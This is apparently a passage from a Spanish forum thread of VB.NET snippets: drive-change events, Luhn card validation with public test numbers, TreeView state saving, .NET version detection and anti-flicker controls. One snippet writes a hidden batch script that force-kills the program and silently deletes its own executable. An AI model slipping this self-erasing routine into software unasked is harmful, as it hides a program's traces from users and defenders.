''' Invokes the default window procedure associated with this window to process messages for this Window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="m">
''' A <see cref="T:System.Windows.Forms.Message"/> that is associated with the current Windows message.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overrides Sub WndProc(ByRef m As Message)
Select Case m.Msg
Case DeviceEvents.Change ' The hardware has changed.
If (m.LParam = IntPtr.Zero) Then
Exit Select
End If
' If it's an storage device then...
If Marshal.ReadInt32(m.LParam, 4) = DeviceType.Logical Then
' Transform the LParam pointer into the data structure.
Dim currentWDrive As DevBroadcastVolume =
DirectCast(Marshal.PtrToStructure(m.LParam, GetType(DevBroadcastVolume)), DevBroadcastVolume)
Dim driveLetter As Char = Me.GetDriveLetter(currentWDrive)
Dim deviceEvent As DeviceEvents = DirectCast(m.WParam.ToInt32, DeviceEvents)
Dim driveInfo As New DriveInfo(driveLetter)
Me.OnDriveStatusChanged(New DriveStatusChangedEventArgs(deviceEvent, driveInfo))
End If
End Select
' Return Message to base message handler.
MyBase.WndProc(m)
End Sub
#End Region
#Region " Hidden methods "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Serves as a hash function for a particular type.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function GetHashCode() As Integer
Return MyBase.GetHashCode
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the <see cref="System.Type"/> of the current instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The exact runtime type of the current instance.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function [GetType]() As Type
Return MyBase.GetType
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines whether the specified <see cref="System.Object"/> instances are considered equal.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function Equals(ByVal obj As Object) As Boolean
Return MyBase.Equals(obj)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Returns a String that represents the current object.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function ToString() As String
Return MyBase.ToString
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Assigns a handle to this window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Sub AssignHandle(ByVal handle As IntPtr)
MyBase.AssignHandle(handle)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates a window and its handle with the specified creation parameters.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Sub CreateHandle(ByVal cp As CreateParams)
MyBase.CreateHandle(cp)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Destroys the window and its handle.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Sub DestroyHandle()
MyBase.DestroyHandle()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Sub ReleaseHandle()
MyBase.ReleaseHandle()
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Retrieves the current lifetime service object that controls the lifetime policy for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function GetLifeTimeService() As Object
Return MyBase.GetLifetimeService
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Obtains a lifetime service object to control the lifetime policy for this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function InitializeLifeTimeService() As Object
Return MyBase.InitializeLifetimeService
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Creates an object that contains all the relevant information to generate a proxy used to communicate with a remote object.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Function CreateObjRef(ByVal requestedType As Type) As System.Runtime.Remoting.ObjRef
Return MyBase.CreateObjRef(requestedType)
End Function
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Invokes the default window procedure associated with this window.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<EditorBrowsable(EditorBrowsableState.Never)>
<DebuggerNonUserCode>
Public Shadows Sub DefWndProc(ByRef m As Message)
MyBase.DefWndProc(m)
End Sub
#End Region
#Region " IDisposable Implementation "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private isDisposed As Boolean
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Releases all the resources used by this instance.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub Dispose() Implements IDisposable.Dispose
Me.Dispose(isDisposing:=True)
GC.SuppressFinalize(obj:=Me)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="isDisposing">
''' <see langword="True"/> to release both managed and unmanaged resources;
''' <see langword="False"/> to release only unmanaged resources.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
If (Not Me.isDisposed) AndAlso (isDisposing) Then
Me.events.Dispose()
Me.Stop()
End If
Me.isDisposed = True
End Sub
#End Region
End Class
Hola los snippets que pusistes en mediafire estan actualizados para la version de visual studio 2015 o que versión me recomiendas para usarlos? Increible aporte gracias! ;-)
Cita de: Ragaza en 3 Marzo 2017, 23:09 PM
Hola los snippets que pusistes en mediafire estan actualizados para la version de visual studio 2015 o que versión me recomiendas para usarlos? Increible aporte gracias! ;-)
En teoría, la versión de Visual Studio (aunque es recomendado usar como minimo la versión 2010, y de ahí la 2013, y por excelencia la 2015, la 2017 no la recomiendo todavía, tiene algún que otro bug y si eres de utilizar muchos plugins te verás limitado, como yo por ejemplo con los Tools de Unity)
Lo que si importa es la versión del framework de .NET que como mínimo necesitarías para algunos la versión 4.5, quizás la 4, o incluso en algunos casos con tener la 3.5 es suficiente, eso ya lo vás seleccionando desde tu proyecto. Pero ya te digo tu te instalas la 4.6.2 y te van todos fijo.
No importa la versión de Visual Studio, a ojo diría que las versiones correspondientes son:
Visual Studio 2017 -> 4.6, 4.6.1, 4.6.2
Visual Studio 2015 -> 4.5, 4.5.1, 4.5.2
Visual Studio 2013 -> 4
Visual Studio 2010 -> 3.5
Visual Studio 2008 -> 1.1 y 2.0?
En fin, pero con instalar los paquetes de .NET ya el VS te los detecta para usarlo en tu proyecto.
Un saludo.
Cita de: Ikillnukes en 3 Marzo 2017, 23:43 PMNo importa la versión de Visual Studio
En realidad si que importa. Cada nueva versión de Visual Studio añade modificaciones mejoradas en el empleo de sintaxis de C#/VB.NET. Dichas mejores evidentemente son incompatibles en versiones anteriores de Visual Studio.
Por ejemplo en VB.NET 14.0 (Visual Studio 2015) se pueden especificar strings multi linea lieterales, mientras que en las versioens anteriores de VB.NET, no.
VB.NET 14.0:
Dim json = "{
'Name': 'Bad Boys',
'ReleaseDate': '1995-4-7T00:00:00',
'Genres': ['Action','Comedy']
}"El codigo de arriba daria error de compilación en versiones anteriores de VB.NET/VS. Habría que hacerlo más o menos así:
Dim json = "{" & Environment.NewLine &
" 'Name': 'Bad Boys'," & Environment.NewLine &
" 'ReleaseDate': '1995-4-7T00:00:00'," & Environment.NewLine &
" 'Genres': ['Action','Comedy']" & Environment.NewLine &
"}"Los snippets que compartí en este hilo fueron desarrollados bajo VS2013, y algunos en VS2015.
PD: Como ya dije, C# también tiene sus mejoras.
¡Saludos!
Hace mucho tiempo que no publico nada aquí...
Vamos allá:
¿Cómo validar el número de una tarjeta de crédito?
Para ello podemos implementar el algoritmo Luhn.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Uses the Luhn algorithm to determines whether the specified credit card number is valid.
''' <para></para>
''' Please de aware that not all valid credit cards can be verified with the Luhn algorithm because
''' it not covers all range of card numbers, however the Luhn algorithm does work for many, if not most, major credit cards.
''' <para></para>
''' The Luhn algorithm is simply used to prevent transpositional errors,
''' it is useful as a sanity check prior to submitting card numbers to a payment gateway,
''' but not suitable to absolutely validate whether a number is a valid card number.
''' <para></para>
''' The only way to absolutely verify a credit card number is to validate it via a payment gateway.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Luhn algorithm: <see href="https://en.wikipedia.org/wiki/Luhn_algorithm"/>
''' <para></para>
''' Microsoft's Luhn algorithm implementation: <see href="http://referencesource.microsoft.com/#System.ComponentModel.DataAnnotations/DataAnnotations/CreditCardAttribute.cs"/>
''' <para></para>
''' Credits to: <see href="http://www.vcskicks.com/credit-card-verification.php"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim visaNumber As String = "4012888888881881"
''' Dim isValid As Boolean = ValidateCreditCardNumber(visaNumber)
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="cardNumber">
''' The credit card number.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' <see langword="True"/> if the specified card number is a valid card number; otherwise, <see langword="False"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function ValidateCreditCardNumber(ByVal cardNumber As String) As Boolean
cardNumber = cardNumber.Replace(" ", "").Replace("-", "").Trim()
' FIRST STEP: Double each digit starting from the right
Dim doubledDigits As Integer() = New Integer(cardNumber.Length / 2 - 1) {}
Dim k As Integer = 0
For i As Integer = cardNumber.Length - 2 To 0 Step -2
Dim digit As Integer
If Not Integer.TryParse(cardNumber(i), digit) Then
Return False
End If
doubledDigits(k) = digit * 2
k += 1
Next i
' SECOND STEP: Add up separate digits
Dim total As Integer = 0
For Each i As Integer In doubledDigits
Dim number As String = i.ToString()
For j As Integer = 0 To (number.Length - 1)
total += Integer.Parse(number(j).ToString())
Next j
Next i
' THIRD STEP: Add up other digits
Dim total2 As Integer = 0
For i As Integer = cardNumber.Length - 1 To 0 Step -2
Dim digit As Integer = Integer.Parse(cardNumber(i).ToString())
total2 += digit
Next i
' FOURTH STEP: Total
Dim final As Integer = (total + total2)
Return (final Mod 10 = 0) ' Well formed will divide evenly by 10.
End Function
Modo de empleo:
' http://www.paypalobjects.com/en_US/vhelp/paypalmanager_help/credit_card_numbers.htm
Dim visaNumber As String = "4012888888881881"
Dim isValid As Boolean = ValidateCreditCardNumber(visaNumber)
Aquí les dejo unos números de tarjetas de crédito para testear:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Contains a collection of credit card numbers for testing purposes.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' <see href="http://www.paypalobjects.com/en_US/vhelp/paypalmanager_help/credit_card_numbers.htm"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' For Each card As KeyValuePair(Of String, String()) In CreditCardsTestNumbers
''' For Each cardnumber As String In card.Value
''' Dim isValidNumber As Boolean = ValidateCreditCardNumber(cardnumber)
''' Console.WriteLine("Card type: '{0}'; Number: '{1}'; Is Valid?: {2}", card.Key, cardnumber, isValidNumber)
''' Next cardnumber
''' Next card
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly CreditCardsTestNumbers As New Dictionary(Of String, String())(StringComparison.OrdinalIgnoreCase) From {
{"American Express", {"378282246310005", "371449635398431"}},
{"American Express Corporate", {"378734493671000"}},
{"Australian BankCard", {"5610591081018250"}},
{"Dankort (PBS)", {"5019717010103742", "76009244561"}},
{"Diners Club", {"30569309025904", "38520000023237"}},
{"Discover", {"6011111111111117", "6011000990139424"}},
{"JCB", {"3530111333300000", "3566002020360505"}},
{"Mastercard", {"5555555555554444", "5105105105105100"}},
{"Switch/Solo (Paymentech)", {"6331101999990016"}},
{"VISA", {"4111111111111111", "4012888888881881", "4222222222222"}}
}
¿Cómo auto-eliminar el executable de nuestra aplicación?
Para ello podemos escribir las instrucciones de eliminación en un archivo.bat externo, e iniciarlo.
¿Por qué Batch?, bueno, en un principio podriamos pensar en una solución usando puro código .NET por ejemplo compilando un código fuente en tiempo de ejecución para generar un executable de .NET temporal con las instrucciones de terminación del proceso y de eliminación del archivo, pero al hacer esto nos estaríamos metiendo en un círculo vicioso ya que el executable externo no se podría eliminar a si mismo, por ende, esta es una de las pocas ocasiones en las que Batch sirve para salvarnos de un apuro.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Deletes the self application executable file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub DeleteSelfApplication()
DeleteSelfApplication(TimeSpan.FromMilliseconds(0))
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Deletes the self application executable file.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="delay">
''' A delay interval to wait (asynchronously) before proceeding to automatic deletion.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Shared Async Sub DeleteSelfApplication(ByVal delay As TimeSpan)
If (delay.TotalMilliseconds > 0.0R) Then
Dim t As New Task(Sub() Thread.Sleep(delay))
t.Start()
Await t
End If
Dim script As String = <a>
@Echo OFF
Set "exeName=%~nx1"
Set "exePath=%~f1"
:KillProcessAndDeleteExe
(TaskKill.exe /F /IM "%exeName%")1>NUL 2>&1
If NOT Exist "%exePath%" (GoTo :SelfDelete)
(DEL /Q /F "%exePath%") || (GoTo :KillProcessAndDeleteExe)
:SelfDelete
(DEL /Q /F "%~f0")
</a>.Value
Dim tmpFile As New FileInfo(Path.Combine(Path.GetTempPath, Path.GetTempFileName))
tmpFile.MoveTo(Path.Combine(tmpFile.DirectoryName, tmpFile.Name & ".cmd"))
tmpFile.Refresh()
File.WriteAllText(tmpFile.FullName, script, Encoding.Default)
Using p As New Process()
With p.StartInfo
.FileName = tmpFile.FullName
.Arguments = String.Format(" ""{0}"" ", Application.ExecutablePath)
.WindowStyle = ProcessWindowStyle.Hidden
.CreateNoWindow = True
End With
p.Start()
p.WaitForExit(0)
End Using
Environment.Exit(0)
End Sub
Modo de empleo:
' Auto destruir el executable al instante:
DeleteSelfApplication()
' Auto destruir el executable de forma asincrónica con un tiempo de espera de 5 segundos:
DeleteSelfApplication(TimeSpan.FromSeconds(5))
El contenido del archivo.bat generado sería el siguiente:
@Echo OFF
Set "exeName=%~nx1"
Set "exePath=%~f1"
:KillProcessAndDeleteExe
(TaskKill.exe /F /IM "%exeName%")1>NUL 2>&1
If NOT Exist "%exePath%" (GoTo :SelfDelete)
(DEL /Q /F "%exePath%") || (GoTo :KillProcessAndDeleteExe)
:SelfDelete
(DEL /Q /F "%~f0")
...Lo primero que hará el script será entrar en un búcle infinito donde se intentará matar el proceso, y una vez conseguido se dispondrá a eliminar el archivo, y por último eliminarse a sí mismo.
¿Cómo guardar y restaurar el estado expandido/colapsado de los nodos de un TreeView?
Pongámonos en situación, imaginemos que tenemos un control de tipo TreeView en el que tenemos que crear y destruir algunos de sus nodos o todos ellos de forma dinámica, y al hacerlo perderiamos el estado expandido/colapsado de cada nodo al refrescar la lista de nodos.
U otra situación distinta, en la que simplemente quisieramos guardar el estado del TreeView al cerrar la aplicación, para cargar ese estado en el próximo inicio de la aplicación.
Bien, pues para solucionar ese tipo de problema primero crearíamos la siguiente función que nos devolverá una lista con todos los nodos y sus nodos hijos de un TreeView:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets all the parent nodes and all its child nodes in the source <see cref="TreeView"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim nodeList As List(Of TreeNode) = Me.TreeView1.GetAllNodesAndChildnodes()
'''
''' For Each node As TreeNode In nodeList
''' ' ...
''' Next node
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="TreeView"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="List(Of TreeNode)"/> containing all the parent nodes and all its child nodes.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function GetAllNodesAndChildnodes(ByVal sender As TreeView) As List(Of TreeNode)
Dim nodes As New List(Of TreeNode)
Dim stack As New Stack(Of TreeNode)
' Bang all the top nodes into the queue.
For Each top As TreeNode In sender.Nodes
stack.Push(top)
Next
While (stack.Count > 0)
Dim node As TreeNode = stack.Pop()
If (node IsNot Nothing) Then
' Add the node to the list of nodes.
nodes.Add(node)
If (node.Nodes IsNot Nothing) And (node.Nodes.Count > 0) Then
' Enqueue the child nodes.
For Each child As TreeNode In node.Nodes
stack.Push(child)
Next child
End If
End If
End While
stack.Clear()
stack = Nothing
Return nodes
End Function
Ahora solo tenemos que crear una función para iterar los nodos obtenidos y así crear un "estado de guardado" (o save state), el cual consistitía en un diccionario que contendrá el código hash identificador de cada nodo, y un valor boolean indicando si el nodo está expandido o colapsado.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Saves the state of the source <see cref="TreeView"/> into a <see cref="Dictionary(Of Integer, Boolean)"/>
''' containing the hash code of each node and its expansion state.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim saveState As Dictionary(Of Integer, Boolean) = Me.TreeView1.SaveTreeState()
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="TreeView"/>.
''' </param>
''' ---------------------------------------------------------------------------------------------------
''' <returns>
''' A <see cref="Dictionary(Of Integer, Boolean)"/> containing the hash code of each node and its expansion state.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
Public Shared Function SaveTreeState(ByVal sender As TreeView) As Dictionary(Of Integer, Boolean)
Dim nodeList As List(Of TreeNode) = GetAllNodesAndChildnodes(sender)
Dim nodeStates As New Dictionary(Of Integer, Boolean)()
For Each node As TreeNode In nodeList
nodeStates.Add(node.GetHashCode(), node.IsExpanded)
Next
Return nodeStates
End Function
Y por último la función para restaurar un estado de guardado:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Restores a state of the source <see cref="TreeView"/> previously saved using the <see cref="SaveTreeState"/> function.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim saveState As Dictionary(Of Integer, Boolean)
'''
''' Private Sub Button_SaveTreeState(sender As Object, e As EventArgs) Handles Button_SaveTreeState.Click
''' saveState = Me.TreeView1.SaveTreeState()
''' End Sub
'''
''' Private Sub Button_RestoreTreeState(sender As Object, e As EventArgs) Handles Button_RestoreTreeState.Click
''' Me.TreeView1.RestoreTreeState(saveState)
''' End Sub
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <param name="sender">
''' The source <see cref="TreeView"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <param name="saveState">
''' A <see cref="Dictionary(Of Integer, Boolean)"/> containing the hash code of each node and its expansion state.
''' </param>
''' ----------------------------------------------------------------------------------------------------
Public Shared Sub RestoreTreeState(ByVal sender As TreeView, ByVal saveState As Dictionary(Of Integer, Boolean))
Dim nodeList As List(Of TreeNode) = GetAllNodesAndChildnodes(sender)
For Each node As TreeNode In nodeList
Dim hash As Integer = node.GetHashCode()
If saveState.ContainsKey(hash) Then
If saveState(hash) Then
node.Expand()
Else
node.Collapse()
End If
End If
Next
End Sub
Todas estas funcionalidades y muchísimas más las podrán encontrar en mi Framework de pago ElektroKit.
¿Cómo determinar cual es la versión más reciente instalada de .NET Framework en la máquina actual?.Aquí les dejo el código fuente completo:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Determines which is the most recent version of the .NET Framework runtimes installed on the current machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <example> This is a code example.
''' <code>
''' Dim frameworkVersion As Version = GetMostRecentInstalledFrameworkVersion()
''' Console.WriteLine(frameworkVersion.ToString())
''' </code>
''' </example>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Credits to Microsoft: <see href="http://msdn.microsoft.com/en-us/library/hh925568(v=vs.110).aspx"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting .NET Framework <see cref="Version"/>.
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepperBoundary>
Private Shared Function GetMostRecentInstalledFrameworkVersion() As Version
' .NET 4.5, 4.5.1, 4.5.2, 4.6, 4.6.1
Using ndpKey As RegistryKey =
RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry32).
OpenSubKey("SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full\", writable:=False)
If (ndpKey IsNot Nothing) AndAlso (ndpKey.GetValue("Release") IsNot Nothing) Then
Dim releaseVersion As Integer = CInt(ndpKey.GetValue("Release"))
Select Case releaseVersion
Case >= 394254
Return New Version(4, 6, 1)
Case >= 393295
Return New Version(4, 6)
Case >= 379893
Return New Version(4, 5, 2)
Case >= 378675
Return New Version(4, 5, 1)
Case >= 378389
Return New Version(4, 5)
End Select
End If
End Using
' .NET 1.0, 2.0, 3.0, 3.5, 4.0
Using ndpKey As RegistryKey =
RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, "").
OpenSubKey("SOFTWARE\Microsoft\NET Framework Setup\NDP\", writable:=False)
For Each versionKeyName As String In ndpKey.GetSubKeyNames().OrderByDescending(Function(x As String) x)
If versionKeyName.ToLower().StartsWith("v") Then
Return New Version(versionKeyName.ToLower().TrimStart("v"c))
End If
Next versionKeyName
End Using
Return New Version()
End FunctionPersonálmente recomiendo decorar esta funcionalidad mediante una propiedad de sólo lectura, tal que así:
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets a value that determines which is the most recent version of the .NET Framework runtimes installed
''' on the current machine.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that determines which is the most recent version of the .NET Framework runtimes installed
''' on the current machine.
''' </value>
''' ----------------------------------------------------------------------------------------------------
Public Shared ReadOnly Property MostRecentInstalledFrameworkVersion As Version
<DebuggerStepThrough>
Get
Return GetMostRecentInstalledFrameworkVersion()
End Get
End PropertyModo de empleo:
Dim frameworkVersion As Version = GetMostRecentInstalledFrameworkVersion()
Console.WriteLine(frameworkVersion.ToString())Notas: Faltaría implementar la versión de .NET 4.6.2. Aparte de eso no he podio testear en profundidad el resultado obtenido en un equipo que tenga instalado .NET 1.0, 2.0, 3.0, 3.5 o 4.0, si encuentran algún error diganmelo.
Códigos de error Win32.Esto que voy a compartir a continuación es una enumeración con todos los errores Win32 de la API de Windows, en total son +13.000 lineas de código, así que os dejo un enlace externo:
El propósito de gigantesca enumeración es proveer una manera sencilla, directa y eficiente de determinar que error nos devuelve en ocasiones una función de la API de Windows y cual es el significado de dicho código de error.
No confundir un código de error Win32 con un código de error H_RESULT, esto último define muchos errores Win32 pero con otros valores.
Recordad que la librería de clases de .NET Framework expone algunos miembros muy útiles para la evaluación de errores de funciones no administradas,
Marshal.GetLastWin32Error(),
Marshal.GetHRForLastWin32Error() y
Marshal.ThrowExceptionForHR() así como el tipo excepción
System.ComponentModel.Win32Exception que podemos invocar para informarle de un error Win32 específico al usuario.
¿Cómo prevenir el Flickering de un control Win32?.Uno de los mayores problemas estéticos y también de lo más común al trabajar con los controles de la tecnología WindowsForms es el Flickering. El Flicker consiste en un desagradable parpadeo de la imagen en donde la imagen desaparece por un breve tiempo lapso de tiempo hasta que vuelve a aparecer, como un parpadeo. Es un problema visual que afecta a la estética del control, y suele producirse muy a menudo cuando el control necesita realizar operaciones de dibujo muy expensivas, o cuando estamos trabajando con transparencias.
Una descripción más detallada del flickering: https://en.wikipedia.org/wiki/Flicker_(screen) (https://en.wikipedia.org/wiki/Flicker_(screen))
¿Cómo se soluciona el Flickering?, pues lamentablemente no se puede solucionar completamente, pero si que podemos llegar a reducir el Flickering considerablemente y en el mejor de los casos hasta llegar a dejar de percibirlo del todo y poder decir que ya no hay Flickering en el control, ¿pero cómo se hace?, pues una solución cotidiana sería con un bufer doble de memoria, o
double buffering.
Cuando el double buffering está activado, todas las operaciones de dibujado del control son renderizadas primero a un bufer de memoria en vez de ser renderizadas directamente a la superficie de dibujado en la pantalla. Cuando todas las operaciones de dibujado han sido completadas, el bufer de memoria es copiado directamente a la superficie de dibujado asociada a él.
Para tratar de solventar los problemas de Flickering cuando estamos desarrollando un control de usuario, he desarrollado una interfáz con nombre
IBufferedControl, la cual implementariamos en nuestro control:
' ***********************************************************************
' Author : Elektro
' Modified : 20-March-2017
' ***********************************************************************
#Region " Public Members Summary "
#Region " Properties "
' CreateParams As CreateParams
' DoubleBuffered As Boolean
' PreventFlickering As Boolean
#End Region
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Windows.Forms
#End Region
#Region " IBufferedControl "
Namespace Types
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Provides simple double buffering (anti flickering) functionality for a Windows Forms <see cref="Control"/>,
''' such for example a <see cref="TextBox"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Public Interface IBufferedControl
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the required creation parameters when the control handle is created.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The creation parameters.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
<EditorBrowsable(EditorBrowsableState.Advanced)>
ReadOnly Property CreateParams As CreateParams
' Implementation Exmple:
'
' Protected Overrides ReadOnly Property CreateParams As CreateParams Implements IBufferedControl.CreateParams
' Get
' If (Me.preventFlickeringB) Then
' Dim cp As CreateParams = MyBase.CreateParams
' cp.ExStyle = (cp.ExStyle Or CInt(WindowStylesEx.Composited))
' Return cp
' Else
' Return MyBase.CreateParams
' End If
' End Get
' End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value indicating whether this control should redraw its surface using a secondary buffer
''' to reduce or prevent flicker.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' <see langword="True"/> if the surface of the control should be drawn using double buffering;
''' otherwise, <see langword="False"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
<EditorBrowsable(EditorBrowsableState.Always)>
<DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
<Localizable(True)>
<Category("Behavior")>
<Description("Indicates whether this control should redraw its surface using a secondary buffer to reduce or prevent flicker.")>
<DefaultValue(GetType(Boolean), "True")>
Property DoubleBuffered As Boolean
' Implementation Exmple:
'
' Public Overridable Shadows Property DoubleBuffered As Boolean Implements IBufferedControl.DoubleBuffered
' Get
' Return MyBase.DoubleBuffered
' End Get
' Set(ByVal value As Boolean)
' Me.SetStyle(ControlStyles.DoubleBuffer, value)
' MyBase.DoubleBuffered = value
' End Set
' End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets a value that indicates whether the control should avoid unwanted flickering effects.
''' <para></para>
''' If <see langword="True"/>, this will avoid any flickering effect on the control, however,
''' it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.
''' <para></para>
''' This negative impact doesn't affect to the performance of the application itself,
''' just to the performance of this control.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' A value that indicates whether the control should avoid unwanted flickering effects.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
<EditorBrowsable(EditorBrowsableState.Always)>
<DesignerSerializationVisibility(DesignerSerializationVisibility.Visible)>
<Localizable(True)>
<Category("Behavior")>
<Description("Indicates whether the control should avoid unwanted flickering effects. If True, this will avoid any flickering effect on the control, however, it will also have a negative impact by slowing down the responsiveness of the control about to 30% slower.")>
<DefaultValue(GetType(Boolean), "False")>
Property PreventFlickering As Boolean
' Implementation Exmple:
'
' Public Overridable Property PreventFlickering As Boolean Implements IBufferedControl.PreventFlickering
' Get
' Return Me.preventFlickeringB
' End Get
' Set(ByVal value As Boolean)
' Me.preventFlickeringB = value
' End Set
' End Property
' ''' ----------------------------------------------------------------------------------------------------
' ''' <summary>
' ''' ( Backing Field )
' ''' A value that indicates whether the control should avoid unwanted flickering effects.
' ''' </summary>
' ''' ----------------------------------------------------------------------------------------------------
' Private preventFlickeringB As Boolean
End Interface
End Namespace
#End RegionUn ejemplo de implementación:
<DisplayName("MyControl")>
<Description("A extended control.")>
<DesignTimeVisible(True)>
<DesignerCategory("UserControl")>
<ToolboxBitmap(GetType(UserControl))>
<ToolboxItemFilter("System.Windows.Forms", ToolboxItemFilterType.Require)>
<PermissionSet(SecurityAction.Demand, Name:="FullTrust")>
Public Class MyControl : Inherits UserControl : Implements IBufferedControl
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the required creation parameters when the control handle is created.
''' <para></para>
''' The information returned by the <see cref="CreateParams"/> property is used to pass information about the
''' initial state and appearance of this control, at the time an instance of this class is being created.
